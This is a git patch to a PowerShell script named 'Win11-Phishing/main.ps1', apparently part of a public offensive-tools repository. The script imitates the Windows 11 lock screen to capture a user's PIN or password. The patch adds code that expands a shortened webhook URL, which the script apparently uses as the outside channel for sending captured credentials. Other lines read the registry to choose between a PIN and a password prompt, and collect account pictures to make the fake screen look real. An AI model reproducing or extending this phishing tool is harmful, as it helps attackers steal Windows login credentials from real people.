From 78f1a425ef5e71fad1b3d63dc487a09971cfe65c Mon Sep 17 00:00:00 2001 From: egieb <93350544+beigeworm@users.noreply.github.com> Date: Tue, 2 Jan 2024 22:11:42 +0000 Subject: [PATCH] Update main.ps1 --- Win11-Phishing/main.ps1 | 3 +++ 1 file changed, 3 insertions(+) diff --git a/Win11-Phishing/main.ps1 b/Win11-Phishing/main.ps1 index f6ec572..3dbebb9 100644 --- a/Win11-Phishing/main.ps1 +++ b/Win11-Phishing/main.ps1 @@ -7,6 +7,9 @@ $wpURL = "https://wallpapercave.com/wp/wp9378862.jpg" $value = Get-ItemPropertyValue -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI\NgcPin" -Name "DeviceLockEnforcementPending" -ErrorAction SilentlyContinue if ($value -eq 0 -or $value -eq 1) {$mthd = "PIN"} else {$mthd = "Password"} +# shortened URL Detection +if ($dc.Ln -ne 121){Write-Host "Shortened Webhook URL Detected.." ; $dc = (irm $dc).url} + # FIND ACCOUNT PICTURES $accountPicturesPath = "C:\ProgramData\Microsoft\Default Account Pictures" $imageFiles = Get-ChildItem -Path $accountPicturesPath -include "*.jpg", "*.png", "*.bmp" -File -Recurse